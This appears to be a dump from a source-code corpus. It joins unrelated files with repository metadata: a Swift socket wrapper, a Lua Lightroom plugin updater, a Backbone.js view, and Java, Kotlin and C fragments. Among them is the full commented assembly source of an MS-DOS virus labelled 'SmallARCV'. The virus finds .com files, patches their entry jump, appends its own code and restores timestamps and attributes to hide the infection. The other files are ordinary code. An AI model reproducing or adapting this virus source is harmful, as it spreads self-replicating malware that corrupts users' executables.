/// accept, accept4 - accept a connection on a socket
/// http://man7.org/linux/man-pages/man2/accept.2.html
fileprivate func accept() throws -> TCPSocket? {
let (clientfd, address) = try TCPAddress.withSockaddrPointer { address -> Int32? in
var size = socklen_t(MemoryLayout<sockaddr>.size)
let descriptor = COperatingSystem.accept(self.descriptor, address, &size)
guard descriptor > 0 else {
switch errno {
case EAGAIN: return nil // FIXME: enum return
default: throw TCPError.posix(errno, identifier: "accept", source: .capture())
}
}
return descriptor
}
guard let c = clientfd else {
return nil
}
let socket = TCPSocket(
established: c,
isNonBlocking: isNonBlocking,
shouldReuseAddress: shouldReuseAddress,
address: address
)
return socket
}
}
extension TCPError {
static func gaierrno(
_ gaires: Int32,
identifier: String,
possibleCauses: [String] = [],
suggestedFixes: [String] = [],
source: SourceLocation
) -> TCPError {
guard gaires != EAI_SYSTEM else {
return .posix(
errno,
identifier: identifier,
possibleCauses: possibleCauses,
suggestedFixes: suggestedFixes,
source: source
)
}
let message = COperatingSystem.gai_strerror(gaires)
let string = String(cString: message!, encoding: .utf8) ?? "unknown"
return TCPError(
identifier: identifier,
reason: string,
possibleCauses: possibleCauses,
suggestedFixes: suggestedFixes,
source: source
)
}
}
| 32.318182 | 121 | 0.597437 |
84dded0e31147a01c261d1d9f662638d3399d628 | 4,725 | asm | Assembly | MSDOS/Virus.MSDOS.Unknown.arcvsmal.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:13.000Z | 2022-03-16T09:11:05.000Z | MSDOS/Virus.MSDOS.Unknown.arcvsmal.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | null | null | null | MSDOS/Virus.MSDOS.Unknown.arcvsmal.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:15.000Z | 2022-01-08T20:51:04.000Z |
.radix 16
.model tiny
.code
org 100h
main:
jmp start
start:
call get_pointer ;>>xref=<06106><<
get_pointer:
pop bp ; pop cs:ip of stack
sub bp,offset get_pointer ; adjust
lea si,word ptr [bp+old_jump]; loc of old jump
mov di,0100h ; where to put it
push di ; save on stack for later return
movsw
movsb
mov ah,1ah ; set DTA
lea dx,word ptr ss:d061ef[bp] ;
int 21h
lea dx,[bp+com_file] ; COM filespec
mov ah,4eh ; find first file
mov cx,0007h ; all attributes
find_loop:
int 21h ;
jb set_dta ; none found then jump.
call open_file ; open the file
mov ah,3fh ; read from file
lea dx,word ptr ss:d0621a[bp] ; store here
mov cx,001ah ; number of bytes
int 21h
mov ah,3eh ; close the file
int 21h
mov ax,word ptr ss:d06209[bp] ; get file siz
cmp ax,0feceh ; cmp to 65k.
ja find_next ; to big then forget it.
mov bx,word ptr ss:d0621b[bp] ; get jump loc in file
add bx,00efh ; add virus size
cmp ax,bx ; does it equal file size?
jne infect_com ; nope then get file
find_next:
mov ah,4fh ; find next file
jmp short find_loop
set_dta:
mov ah,1ah ; set dta
mov dx,80h ; to original position
int 21h
ret
old_jump:
int 20h ; original jump
db 00 ; original file so its an int 20h.
set_attribute:
mov ax,4301h ; set file attr.
lea dx,word ptr ss:d0620d[bp] ; filename
int 21h ; cl has attribs
ret
sig db '[SmallARCV]',0
db 'Apache Warrior.',0
com_file db '*.com',0 ; com filespec
open_file:
mov ax,3d02h ; open file read/write
lea dx,word ptr ss:d0620d[bp] ; location of filename
int 21h
xchg ax,bx ; handle -> bx
ret
infect_com:
mov cx,0003h ; # of bytes to write
sub ax,cx ; adjust filesize for jmp.
lea si,word ptr ss:d0621a[bp] ; victims original jmp
lea di,word ptr old_jump[bp] ; place here
movsw ; move it
movsb
mov byte ptr [si-03],0e9h ; set up new jump
mov word ptr [si-02],ax ; and save it
push cx ; save # of bytes to write
xor cx,cx ; clear attributes
call set_attribute ; set attributes
call open_file ; open file
mov ah,40h ; write to file
lea dx,word ptr ss:d0621a[bp] ; new jump
pop cx ; get bytes off stack
int 21h
mov ax,4202h ; move fpointer to end
xor cx,cx ; clear these
cwd ; clear dx
int 21h
mov ah,40h ; write to file
lea dx,word ptr start[bp] ; from here.
mov cx,00ech ; size of virus
int 21h
mov ax,5701h ; set files date/time back
mov cx,word ptr ss:d06205[bp] ;
mov dx,word ptr ss:d06207[bp] ;
int 21h
mov ah,3eh ; close file
int 21h
mov ch,00 ; set attributes back
mov cl,byte ptr ss:d06204[bp] ; original attribs.
call set_attribute ; set them back
jmp set_dta ; jump and quit virus.
d061ef equ 001efh
d06204 equ 00204h
d06205 equ 00205h
d06207 equ 00207h
d06209 equ 00209h
d0620d equ 0020dh
d0621a equ 0021ah
d0621b equ 0021bh
end main
| 33.992806 | 74 | 0.41291 |
16d4ac8e5bf2a579c73c9e8099a2d161a96e3333 | 18,277 | lua | Lua | CollectionAgent.lrdevplugin/Framework/System/Updater.lua | Greven-of-Norway/RC_CollectionAgent | ad3872263aad8ccc5a12eb17ae07e98cdae6d51d | [
"Artistic-2.0"
] | 5 | 2017-07-02T22:58:14.000Z | 2022-01-08T15:44:38.000Z | FileRenamer.lrplugin/Framework/System/Updater.lua | DaveBurns/rc_FileRenamer | 1c346969db84172339df6254554b49268513f68b | [
"Artistic-2.0"
] | null | null | null | FileRenamer.lrplugin/Framework/System/Updater.lua | DaveBurns/rc_FileRenamer | 1c346969db84172339df6254554b49268513f68b | [
"Artistic-2.0"
] | 3 | 2017-10-04T22:26:20.000Z | 2018-09-23T03:10:44.000Z | --[[
Updater.lua
Note: this could encapsulate check-for-update and uninstall too, but doesn't, yet.
Initial motivation is so plugin can customize updating without extending app object.
--]]
local Updater, dbg, dbgf = Object:newClass{ className= 'Updater', register=true }
--- Constructor for extending class.
--
-- @param t initial table - optional.
--
function Updater:newClass( t )
return Object.newClass( self, t )
end
--- Constructor for new instance object.
--
-- @param t initial table - optional.
--
-- @usage Construct new updater with the default of no copy exclusions, and excluding preferences from being seen as extraneous and purging.
--
function Updater:new( t )
local o = Object.new( self, t )
o.copyExcl = o.copyExcl or {} -- no default copy protection.
if o.purgeExcl then
-- explicit purge exclusions
else
o.purgeExcl = { "^Preferences[\\/]", "^Settings[\\/]" } -- don't purge preferences or settings.
end
return o
end
--- Migrate special plugin files.
--
-- @usage In case some files require special handling instead of just copying.<br>
-- Prime examples are auto-generated metadata module files.<br>
-- Excludes preferences which are handled more specifically (see migrate-prefs method).
--
function Updater:migrateSpecials()
local errs = 0
-- self.service.scope:setCaption( "Copying files" )
return errs
end
--- Migrate plugin preferences.
--
-- @usage Default implementation simply transfers plugin preference backing files.<br>
-- Override in extended class to translate legacy preferences (backed or reglar) to new, if desired.
--
-- @return number of errors encountered.
--
function Updater:migratePrefsAndSets( subdir )
if self.me == self.target then
app:log( "Not migrating prefs/sets since I'm the target." )
return 0
end
app:log( "Considering migration of '^1'", subdir )
local mePrefDir = LrPathUtils.child( self.me, subdir )
local destPrefDir = LrPathUtils.child( self.target, subdir ) -- dest is synoymous with target.
local errs = 0
if fso:existsAsDir( mePrefDir ) then
if fso:existsAsDir( destPrefDir ) then -- updating plugin supports pref backing too
local count = 0
for filePath in LrFileUtils.recursiveFiles( mePrefDir ) do
self.service.scope:setCaption( "Copying files" ) -- this needs to be there to "goose" the delayed progress indicator, but I'm not trying to give too much info.
local leaf = LrPathUtils.leafName( filePath )
local name = LrPathUtils.removeExtension( leaf )
local destPath = LrPathUtils.child( destPrefDir, leaf )
if name ~= 'Default' then
count = count + 1
local overwrite
if fso:existsAsFile( destPath ) then
app:log( "Overwriting named pref/sets file: " .. destPath )
overwrite = true
else
overwrite = false
end
local s, m = fso:copyFile( filePath, destPath, false, overwrite ) -- pref directory pre-verified.
Debug.logn( filePath, destPath )
if s then
app:log( "Migrated pref/sets backing file from ^1 to ^2", filePath, destPath )
else
app:logError( "Unable to migrate pref support file: " .. m )
errs = errs + 1
end
else
app:log( "Not migrated default pref/sets backing file ^1 to ^2", filePath, destPath )
end
end
if count == 0 then
app:log( "No named pref/sets found to migrate." )
end
else
app:log( "Updated plugin does not support pref/sets backing, ignoring source pref/sets backing files - please visit plugin manager to update configuration." )
end
else
app:log( "No source pref/sets to migrate" )
end
return errs
end
--- Determine if a particular sub-path is to be excluded from copying from source of update to target.
--
-- @param f sub-path relative to lrplugin dir
--
function Updater:isCopyExcluded( f )
for i, v in ipairs( self.copyExcl ) do
if f:find( v ) then
return true
end
end
return false
end
--- Determine if a particular sub-path is to be excluded from purging from updated target.
--
-- @param f sub-path relative to lrplugin dir
--
function Updater:isPurgeExcluded( f )
for i, v in ipairs( self.purgeExcl ) do
if f:find( v ) then
return true
end
end
return false
end
--- Sync source tree to target tree.
--
function Updater:syncTree()
local errs = 0
for src in LrFileUtils.recursiveFiles( self.src ) do
self.service.scope:setCaption( "Copying files" )
local subPath = LrPathUtils.makeRelative( src, self.src )
local dest = LrPathUtils.child( self.target, subPath )
if not self:isCopyExcluded( subPath ) then
local s, m = fso:copyFile( src, dest, true, true )
if s then
app:log( "Copied ^1 to ^2", src, dest )
else
errs = errs + 1
app:log( "Unable to copied plugin file, error message: ^1", m )
end
else
app:log( "Excluded from copy: " .. subPath )
end
end
local extras = {}
for dest in LrFileUtils.recursiveFiles( self.target ) do
self.service.scope:setCaption( "Copying files" ) -- not exactly correct, but...
local subPath = LrPathUtils.makeRelative( dest, self.target )
local src = LrPathUtils.child( self.src, subPath )
if not self:isPurgeExcluded( subPath ) then
if not fso:existsAsFile( src ) then
extras[#extras + 1] = dest
app:log( "Extraneous: " .. dest )
end
else
app:log( "Excluded from purge: " .. subPath )
end
end
if #extras > 0 then
app:log( "^1 in ^2", str:plural( #extras, "extraneous file" ), self.target )
local answer
repeat
if app:logVerbose() or app:isAdvDbgEna() or ( app:getUserName() == '_RobCole_' ) then
answer = app:show{ confirm="Extraneous files have been found in ^1, ok to delete?\n \nSee log file for details.",
buttons={ dia:btn( "Yes - OK to delete", 'ok' ), dia:btn( "Show Log File", 'showLogs' ), dia:btn( "No - Keep them", 'cancel' ) }, subs=self.target }
else
answer = 'ok'
end
if answer == 'ok' then
for i, v in ipairs( extras ) do
local s, m = fso:moveToTrash( v )
if s then
app:log( "Moved to trash or deleted ^1", v )
else
errs = errs + 1
app:logErr( "Unable to move extraneous plugin file to trash, error message: ^1", m )
end
end
break
elseif answer == 'showLogs' then
app:showLogFile()
elseif answer == 'cancel' then
break
else
error( "bad answer: " .. answer )
end
until false
else
app:log( "No extraneous files in ^1 to move to trash.", self.target )
end
return errs
end
--- Updates plugin to new version (must be already downloaded/available).
--
function Updater:updatePlugin()
app:call( Service:new{ name = 'Update Plugin', async=true, guard=App.guardVocal, main=function( service )
-- Its legal to have two copies of the same plugin installed, but only one can be enabled.
-- so make sure its the enabled one that's being updated.
self.service = service
if app:isPluginEnabled() then
-- good
else
app:show{ warning="Plugin must be enabled to be updated." }
service:cancel()
return
end
if gbl:getValue( 'background' ) then -- global background object, as distinguished from background-enable pref of same name.
local button = app:show{ confirm="To proceed with update, background processing must be shutdown, and you may need to reload plugin afterward - proceed?" }
if button == 'ok' then
service:setMandatoryMessage( "*** Plugin may need to be reloaded." )
app:log( "*** Plugin may need to be reloaded." )
elseif button == 'cancel' then
service:cancel()
return
else
error( "bad button" )
end
app:showBezel( { dur=3, holdoff=1 }, "Stopping background processing - please wait (up to 30 seconds, but probably much less)..." ) -- note: bezel won't work if shutting down.
background.done = true -- shutdown would be more effective, but that causes pause to return prematurely. Long running background tasks, like FTP sync, should check this flag along with others.
local s, m = background:pause( 30 ) -- Might be better to stop instead of pausing, but @25/Jan/2014 17:27, stopping is not as robust as pausing is - pause just as good for all practical purposes though, I think.
-- note: @25/Jan/2014 19:15, background has auto-retry until succeed or user quit's trying (by choosing "No", not "Cancel").
background.done = false
if s then
app:showBezel( { dur=1, holdoff=2 }, "Background processing is paused for sake of plugin update." ) -- hold-off longer than duration, so message is cleared before OS chooser is displayed.
-- for some reason, a holdoff of 1.5 is not cutting it - hmm...
else
app:logErr( "Unable to pause background processing for sake of update, error message: ^1\n \nDisable background processing, re-load plugin, then try upating plugin again.", m )
service:abort( "Unable to pause background processing" ) -- may be something useful in log file.
return
end
end
local id = app:getPluginId()
local dir
if app:getUserName() == '_RobCole_' then
if app:isAdvDbgEna() then
dir = "X:\\Dev\\LightroomPlugins\\RC_ExifMeta\\ReleasePackageContents\\ExifMeta.lrplugin"
else
dir = "X:\\Dev\\LightroomPlugins"
end
else
dir = "/"
end
--self.src = dia:selectFolder { -- source of the update ###2 - test on Mac (Paula P. said stuff was disabled, as did another Mac user - hmm... - probably should be "file" not folder)
self.src = dia:selectPackage { -- changed 1/Jun/2014 18:15 - select-file on Mac, select folder in Windows.
title = "Choose newly downloaded (and unzipped) plugin folder (name must end with .lrplugin)",
-- 'prompt' ignored by (OS) folder chooser.
initialDirectory = dir,
fileTypes = { "lrplugin", "lrdevplugin" }, -- ignored by OS chooser, but respected by select-folder method.
}
if self.src then
local appData = LrPathUtils.getStandardFilePath( 'appData' ) -- ###2 get-preset-dir?
assert( fso:existsAsDir( appData ), "Where's Lr app-data?" )
local modulesPath = LrPathUtils.child( appData, "Modules" ) -- may or may not already exist.
if fso:existsAsDir( modulesPath ) then
app:log( "Updating in existing modules directory: " .. modulesPath )
else
local s, m = fso:assureAllDirectories( modulesPath )
if s then
app:log( "Updating into freshly created modules directory: " .. modulesPath )
else
error( "Unable to directory for updated plugin: " .. str:to( m ) )
end
end
self.name = LrPathUtils.leafName( self.src ) -- name of the update
self.base = LrPathUtils.removeExtension( self.name ) -- base-name of the update
self.me = _PLUGIN.path -- identity of the plugin doing the updating.
self.target = LrPathUtils.child( modulesPath, self.name )
if self.src == self.me then
local parent = LrPathUtils.parent( self.src )
if parent ~= modulesPath then
if dia:isOk( "Are you sure you want to update the same plugin?\n \nthus effectively moving it to " .. modulesPath ) then
app:log( "Moving plugin to lr-modules dir: " .. self.target )
else
service:cancel()
return
end
else
app:show{ warning="Source plugin selected (^1) is this one, and is already running from Lightroom modules directory - can't update it: maybe try selecting a different one.", self.src }
service:cancel()
return
end
end
if self.src == self.target then
app:logError( "Source plugin must not already reside in target directory." )
return
end
if self.base ~= str:getBaseName( _PLUGIN.path ) then
if not dia:isOk( "Source plugin has different filename - are you sure its the same plugin?" ) then
service:cancel()
return
end
end
if fso:existsAsDir( self.target ) then
local answer
if self.me == self.target then
app:log( "Plugin updating itself: " .. self.target )
else
app:log( "Plugin updating a foreign instance: " .. self.target )
answer = app:show{ confirm="OK to overwrite ^1?", subs=self.target, buttons={ dia:btn( "OK", 'ok' ) } }
if answer == 'ok' then
-- just proceed to update.
elseif answer == 'cancel' then
service:cancel()
return
else
error( "bad answer" )
end
end
else
app:log( "Updating ^1 for first time to ^2", app:getPluginName(), self.target )
end
assert( self.src, "no src" )
assert( self.target, "no target" )
service.scope = DelayedProgressScope:new {
title = "Updating plugin",
functionContext = service.context,
modal = true,
}
local s, m = self:syncTree() -- copy/overwrite files, except for exclusions, then delete the rest.
if s then
local errs = 0
errs = errs + self:migratePrefsAndSets( 'Preferences' )
errs = errs + self:migratePrefsAndSets( 'Settings' )
errs = errs + self:migrateSpecials()
if errs > 0 then
error( "Errors occurred, update not successful: see log file for details." )
end
if self.me ~= self.target then -- running plugin is not in modules folder, so it was updated from somewhere else.
local notMe = self.me .. "." .. app:getVersionString()
local s, m = fso:moveFolderOrFile( self.me, notMe ) -- can cause strange errors under unusual circumstances.
service.scope:setCaption( "Done" )
service.scope:done()
LrTasks.yield()
if not s then
app:log( "Unable to rename previous plugin, error message: ", m )
app:show{ error="Unable to rename original plugin from ^1 to ^2.\n \nAlthough its not necessary for the updated plugin to work, you will have two versions of plugin installed - take care which is enabled.", self.me, notMe }
else
app:log( "Previous plugin was renamed: " .. notMe )
end
app:log( "Update was successful - after restarting, revisit plugin manager (status section) and make sure ^1 is enabled (click 'Enable' button if need be).", app:getPluginName() )
app:show{ info="Update was successful - You must restart Lightroom now, then revisit plugin manager and make sure ^1 is enabled (click 'Enable' button if need be).", app:getPluginName() }
service:cancel("") -- kill normal service ending message if update was successful (to avoid extraneous error messages)
else -- running plugin is in modules folder, so was updated in place.
service.scope:setCaption( "Done" )
service.scope:done()
LrTasks.yield()
if WIN_ENV then
app:show{ info="^1 update successful - either reload plugin (see plugin author section), or restart Lightroom now.", app:getPluginName() }
else
app:show{ info="^1 update successful - restart Lightroom now.", app:getPluginName() }
end
service:cancel("") -- haven't seen extraneous error messages in this case, but rather not take a chance...
end
else
error( m )
end
else -- user did not select a plugin for updating.
if gbl:getValue( 'background' ) then
app:show{ warning="You probably need to reload the plugin now - see \"Plugin Author Tools\" section here in plugin manager." }
end
service:cancel()
end
end } )
end
return Updater
| 46.037783 | 247 | 0.561142 |
0bd140a056fc61ccfee7802db42e9effd97e6220 | 2,783 | js | JavaScript | src/main/resources/static/js/views/gallery/tags.js | cjstehno/photopile | 1da3fb9afd8dc4ae14b224d88f9297609ec3453b | [
"Apache-2.0"
] | null | null | null | src/main/resources/static/js/views/gallery/tags.js | cjstehno/photopile | 1da3fb9afd8dc4ae14b224d88f9297609ec3453b | [
"Apache-2.0"
] | 9 | 2015-06-20T21:41:35.000Z | 2016-03-05T14:14:18.000Z | src/main/resources/static/js/views/gallery/tags.js | cjstehno/photopile | 1da3fb9afd8dc4ae14b224d88f9297609ec3453b | [
"Apache-2.0"
] | null | null | null | define([
'collections/tags',
'text!templates/gallery/tags.html',
'text!templates/gallery/tags-item.html'
], function( Tags, template, itemTemplate ){
return Backbone.View.extend({
template: _.template(template),
itemTemplate: _.template(itemTemplate),
attributes:{
class:'modal fade'
},
events:{
'click .tag-item':'onTagItemClick',
'keypress form input[name="filter"]':'onFilterChange',
'click .btn.btn-primary':'onApplyClick'
},
initialize:function(){
this.collection = new Tags();
},
render:function(){
this.$el.html( this.template() );
this.$el.modal();
this.$elements = {
items: this.$('.tag-list')
};
this.collection.fetch({
contentType:'application/json',
success: _.bind(this.renderListItems, this, '')
});
return this;
},
onTagItemClick:function(evt){
evt.preventDefault();
$('span.selection', evt.currentTarget).toggleClass('glyphicon-ok');
var selectedTag = $(evt.currentTarget).attr('data-tag');
var tag = this.collection.find(function(it){
return it.get('name') == selectedTag;
}, this);
tag.selected = true;
},
onApplyClick:function(evt){
evt.preventDefault();
var tags = [];
$('.tag-item', this.$elements.items).each(function(idx,elt){
if( $('span.selection', elt).hasClass('glyphicon-ok') ){
tags.push( $(elt).attr('data-tag') );
}
});
this.trigger('tags-selected',{
tags:tags,
grouping: this.$('form input[name="grouping"]:checked').val()
});
},
onFilterChange:function(evt){
evt.stopPropagation();
if( evt.keyCode === 13 ){
this.renderListItems( this.$('input[name="filter"]').val() );
evt.preventDefault();
}
},
renderListItems:function( filter ){
this.$elements.items.empty();
var filterText = (filter || '').toLowerCase();
this.collection.each(function(it){
var name = it.get('name');
if( filterText.trim().length == 0 || name.toLowerCase().indexOf(filterText) > 0 ){
this.$elements.items.append(this.itemTemplate({
name: name,
selected: it.selected || false
}));
}
}, this);
}
});
});
| 27.554455 | 98 | 0.478261 |
266dcfcaf520454e496734924cdd3695e4d11254 | 759 | java | Java | src/StockIT-v1-release_source_from_JADX/sources/com/google/android/gms/internal/vision/zzck.java | atul-vyshnav/2021_IBM_Code_Challenge_StockIT | 25c26a4cc59a3f3e575f617b59acc202ee6ee48a | [
"Apache-2.0"
] | 1 | 2021-11-23T10:12:35.000Z | 2021-11-23T10:12:35.000Z | src/StockIT-v1-release_source_from_JADX/sources/com/google/android/gms/internal/vision/zzck.java | atul-vyshnav/2021_IBM_Code_Challenge_StockIT | 25c26a4cc59a3f3e575f617b59acc202ee6ee48a | [
"Apache-2.0"
] | null | null | null | src/StockIT-v1-release_source_from_JADX/sources/com/google/android/gms/internal/vision/zzck.java | atul-vyshnav/2021_IBM_Code_Challenge_StockIT | 25c26a4cc59a3f3e575f617b59acc202ee6ee48a | [
"Apache-2.0"
] | 1 | 2021-10-01T13:14:19.000Z | 2021-10-01T13:14:19.000Z | package com.google.android.gms.internal.vision;
import org.checkerframework.checker.nullness.compatqual.NullableDecl;
/* compiled from: com.google.android.gms:play-services-vision-common@@19.0.0 */
final class zzck<T> extends zzcn<T> {
static final zzck<Object> zzlf = new zzck<>();
private zzck() {
}
public final boolean equals(@NullableDecl Object obj) {
return obj == this;
}
public final int hashCode() {
return 2040732332;
}
public final boolean isPresent() {
return false;
}
public final String toString() {
return "Optional.absent()";
}
public final T get() {
throw new IllegalStateException("Optional.get() cannot be called on an absent value");
}
}
| 23.71875 | 94 | 0.650856 |
b175a4066b9228d2082f07a0f7a8f30839b3f71c | 961 | h | C | src/sys/appmgr/dynamic_library_loader.h | billchen1977/fuchsia | d443f9c7b03ad317d1700c2c9457be8ed1147b86 | [
"BSD-2-Clause"
] | null | null | null | src/sys/appmgr/dynamic_library_loader.h | billchen1977/fuchsia | d443f9c7b03ad317d1700c2c9457be8ed1147b86 | [
"BSD-2-Clause"
] | null | null | null | src/sys/appmgr/dynamic_library_loader.h | billchen1977/fuchsia | d443f9c7b03ad317d1700c2c9457be8ed1147b86 | [
"BSD-2-Clause"
] | null | null | null | // Copyright 2018 The Fuchsia Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef SRC_SYS_APPMGR_DYNAMIC_LIBRARY_LOADER_H_
#define SRC_SYS_APPMGR_DYNAMIC_LIBRARY_LOADER_H_
#include <fuchsia/ldsvc/llcpp/fidl.h>
#include <lib/zx/channel.h>
#include <lib/zx/status.h>
#include <zircon/types.h>
#include <fbl/unique_fd.h>
namespace component {
namespace DynamicLibraryLoader {
// package_fd should be an open fd for a package directory. This function will open the "lib/"
// subdirectory automatically when creating the loader service, so it does not need ownership of
// package_fd.
zx::status<fidl::ClientEnd<::llcpp::fuchsia::ldsvc::Loader>> Start(int package_fd,
std::string name);
} // namespace DynamicLibraryLoader
} // namespace component
#endif // SRC_SYS_APPMGR_DYNAMIC_LIBRARY_LOADER_H_
| 34.321429 | 96 | 0.726327 |
49b758796342e9fa2eb11adc7539910d0f594a13 | 2,431 | kt | Kotlin | bot/storage-mongo/src/main/kotlin/fr/vsct/tock/bot/mongo/I18nMongoDAO.kt | lith-light-g/tock | 95081f0e881b2d90264c7edaed52586e31254e14 | [
"Apache-2.0"
] | null | null | null | bot/storage-mongo/src/main/kotlin/fr/vsct/tock/bot/mongo/I18nMongoDAO.kt | lith-light-g/tock | 95081f0e881b2d90264c7edaed52586e31254e14 | [
"Apache-2.0"
] | null | null | null | bot/storage-mongo/src/main/kotlin/fr/vsct/tock/bot/mongo/I18nMongoDAO.kt | lith-light-g/tock | 95081f0e881b2d90264c7edaed52586e31254e14 | [
"Apache-2.0"
] | null | null | null | /*
* Copyright (C) 2017 VSCT
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package fr.vsct.tock.bot.mongo
import fr.vsct.tock.bot.mongo.MongoBotConfiguration.database
import fr.vsct.tock.shared.defaultLocale
import fr.vsct.tock.translator.I18nDAO
import fr.vsct.tock.translator.I18nLabel
import fr.vsct.tock.translator.I18nLocalizedLabel
import org.litote.kmongo.Id
import org.litote.kmongo.deleteOne
import org.litote.kmongo.findOneById
import org.litote.kmongo.getCollection
import org.litote.kmongo.json
import org.litote.kmongo.save
/**
*
*/
internal object I18nMongoDAO : I18nDAO {
private val col = database.getCollection<I18nLabel>()
private fun sortLabels(list: List<I18nLabel>): List<I18nLabel> =
list.sortedWith(compareBy({ it.category }, { it.findLabel(defaultLocale, null)?.label ?: "" }))
private fun sortLocalizedLabels(list: LinkedHashSet<I18nLocalizedLabel>): LinkedHashSet<I18nLocalizedLabel> =
LinkedHashSet(list.sortedWith(compareBy({ it.locale.language }, { it.interfaceType }, { it.connectorId })))
private fun sortLocalizedLabels(label: I18nLabel): I18nLabel =
label.copy(i18n = sortLocalizedLabels(label.i18n))
override fun getLabels(): List<I18nLabel> {
return sortLabels(col.find().toList())
}
override fun getLabelById(id: Id<I18nLabel>): I18nLabel? {
return col.findOneById(id)
}
override fun save(i18n: I18nLabel) {
col.save(sortLocalizedLabels(i18n))
}
override fun save(i18n: List<I18nLabel>) {
i18n.forEach { save(it) }
}
override fun saveIfNotExist(i18n: List<I18nLabel>) {
val existingIds = getLabels().map { it._id }.toSet()
save(i18n.filterNot { existingIds.contains(it._id) })
}
override fun deleteByNamespaceAndId(namespace: String, id: Id<I18nLabel>) {
col.deleteOne("{namespace:${namespace.json}, _id:${id.json}}")
}
} | 34.239437 | 115 | 0.718634 |
f766c14f1ed8fd005c125eee15182ef1026c2b4b | 4,305 | h | C | PWGHF/hfe/AliHFEreducedMCParticle.h | maroozm/AliPhysics | 22ec256928cfdf8f800e05bfc1a6e124d90b6eaf | [
"BSD-3-Clause"
] | 114 | 2017-03-03T09:12:23.000Z | 2022-03-03T20:29:42.000Z | PWGHF/hfe/AliHFEreducedMCParticle.h | maroozm/AliPhysics | 22ec256928cfdf8f800e05bfc1a6e124d90b6eaf | [
"BSD-3-Clause"
] | 19,637 | 2017-01-16T12:34:41.000Z | 2022-03-31T22:02:40.000Z | PWGHF/hfe/AliHFEreducedMCParticle.h | maroozm/AliPhysics | 22ec256928cfdf8f800e05bfc1a6e124d90b6eaf | [
"BSD-3-Clause"
] | 1,021 | 2016-07-14T22:41:16.000Z | 2022-03-31T05:15:51.000Z | /**************************************************************************
* Copyright(c) 1998-1999, ALICE Experiment at CERN, All rights reserved. *
* *
* Author: The ALICE Off-line Project. *
* Contributors are mentioned in the code where appropriate. *
* *
* Permission to use, copy, modify and distribute this software and its *
* documentation strictly for non-commercial purposes is hereby granted *
* without fee, provided that the above copyright notice appears in all *
* copies and that both the copyright notice and this permission notice *
* appear in the supporting documentation. The authors make no claims *
* about the suitability of this software for any purpose. It is *
* provided "as is" without express or implied warranty. *
**************************************************************************/
//
// Debug tree to look at the distribution of the variable we are cutting on
//
//
#ifndef ALIHFEREDUCEDMCPARTICLE_H
#define ALIHFEREDUCEDMCPARTICLE_H
#include <TObject.h>
#include <TMath.h>
class AliHFEreducedMCParticle : public TObject{
public:
AliHFEreducedMCParticle();
AliHFEreducedMCParticle(const AliHFEreducedMCParticle &ref);
AliHFEreducedMCParticle &operator=(const AliHFEreducedMCParticle &ref);
~AliHFEreducedMCParticle() {}
Double_t Pt() const { return TMath::Abs(fSignedPt); }
Double_t P() const { return fP; }
Double_t Eta() const { return fEta; }
Double_t Phi() const { return fPhi; }
Int_t Charge() const {
if(fSignedPt > 0) return 1;
else return -1;
}
Int_t Pdg() const { return fPdg; }
Int_t MotherPdg() const { return fMotherPdg; }
Int_t Source() const { return static_cast<Int_t>(fSource); }
Int_t GetElectronSource() const { return static_cast<Int_t>(fEleSource); }
Double_t GetElectronSourcePt() const { return fEleSourcePt; }
Bool_t IsSignal() const { return fSignal; }
Double_t RadialProductionVertex() const { return TMath::Abs(fProductionVertex[0]*fProductionVertex[0]+fProductionVertex[1]*fProductionVertex[1]); }
Double_t VX() const { return fProductionVertex[0]; }
Double_t VY() const { return fProductionVertex[1]; }
Double_t VZ() const { return fProductionVertex[2]; }
Double_t GetMotherVX() const { return fMotherProductionVertex[0]; }
Double_t GetMotherVY() const { return fMotherProductionVertex[1]; }
Double_t GetMotherVZ() const { return fMotherProductionVertex[2]; }
void SetSignedPt(Double_t pt, Bool_t positiveCharge){
double chargesign = positiveCharge ? 1. : -1.;
fSignedPt = pt * chargesign;
}
void SetP(Double_t p) { fP = p; }
void SetEta(Double_t eta) { fEta = eta; }
void SetPhi(Double_t phi) { fPhi = phi; }
void SetPdg(Int_t pdg) { fPdg = pdg; }
void SetMotherPdg(Int_t pdg) { fMotherPdg = pdg; }
void SetSource(Int_t source) { fSource = static_cast<Char_t>(source); }
void SetElectronSource(Int_t source) { fEleSource = static_cast<UChar_t>(source); }
void SetElectronSourcePt(Double_t sourcept) { fEleSourcePt = sourcept; }
void SetSignal() { fSignal = kTRUE; }
void SetProductionVertex(Double_t vx, Double_t vy, Double_t vz) {
fProductionVertex[0] = vx;
fProductionVertex[1] = vy;
fProductionVertex[2] = vz;
}
void SetMotherProductionVertex(Double_t vx, Double_t vy, Double_t vz) {
fMotherProductionVertex[0] = vx;
fMotherProductionVertex[1] = vy;
fMotherProductionVertex[2] = vz;
}
private:
Double_t fSignedPt; // signed pt
Double_t fP; // p
Double_t fEta; // eta
Double_t fPhi; // phi
Int_t fPdg; // pdg
Int_t fMotherPdg; // mother pdg
Char_t fSource; // source
Bool_t fSignal; // signal
Double_t fProductionVertex[3]; // production vertex
Double_t fMotherProductionVertex[3]; // production vertex
UChar_t fEleSource; // Electron source (AliHFEmcQA)
Double_t fEleSourcePt; // Electron source's pt (AliHFEmcQA)
ClassDef(AliHFEreducedMCParticle, 3)
};
#endif
| 44.84375 | 149 | 0.632985 |
13077b850f20119d12590a14a1a664c250afc1ac | 5,944 | c | C | samples/mqtt/main.c | meishaoming/esp8266-at | fa3b80a187efa8be62c101dfe57898a183fac78b | [
"MIT"
] | null | null | null | samples/mqtt/main.c | meishaoming/esp8266-at | fa3b80a187efa8be62c101dfe57898a183fac78b | [
"MIT"
] | null | null | null | samples/mqtt/main.c | meishaoming/esp8266-at | fa3b80a187efa8be62c101dfe57898a183fac78b | [
"MIT"
] | null | null | null | #include <stdio.h>
#include <stdlib.h>
